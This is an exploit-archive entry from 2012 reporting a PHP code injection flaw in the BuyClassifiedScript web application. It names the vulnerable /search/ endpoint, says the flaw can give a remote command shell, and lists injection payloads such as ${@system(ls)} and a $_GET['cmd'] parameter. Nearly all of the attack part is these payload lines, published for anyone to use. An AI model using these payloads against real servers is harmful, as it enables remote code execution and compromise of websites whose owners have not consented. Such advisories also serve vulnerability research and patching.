[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BuyClassifiedScript PHP Code Injection Vulnerability
# Published : 2012-11-26
# Author :
# Previous Title : SmartCMS (index.php, menuitem param) SQL Injection & Cross Site Scripting Vulnerabilities
# Next Title : Wordpress Facebook Survey v1 SQL Injection Vulnerability


# Exploit Title: buyclassifiedscript PHP code injection vulnerability
# Date: 25.11.201
# Exploit Author: d3b4g
# Vendor Homepage: http://buyclassifiedscript.com/
# Tested on:Windows 7
# Blog: d3b4g.me
  
  
   
    
----------------------------------------------------------------------------------

     This vulnerability  allows an attacker to inject custom code
     into the server side scripting engine.It's possible to get a remote cmd by taking
     advantage of this vulnerability.
     
 
     Vulnerable function: 

     /search/ 


     () php code excution :
  
  
     http://localhost/path/search {Inject malicious code}


     () example of code you can inject:


     //  ${@system(ls)}

        ${@print(hello)}

        $_GET['cmd']


                         //  
      
  
  
-end-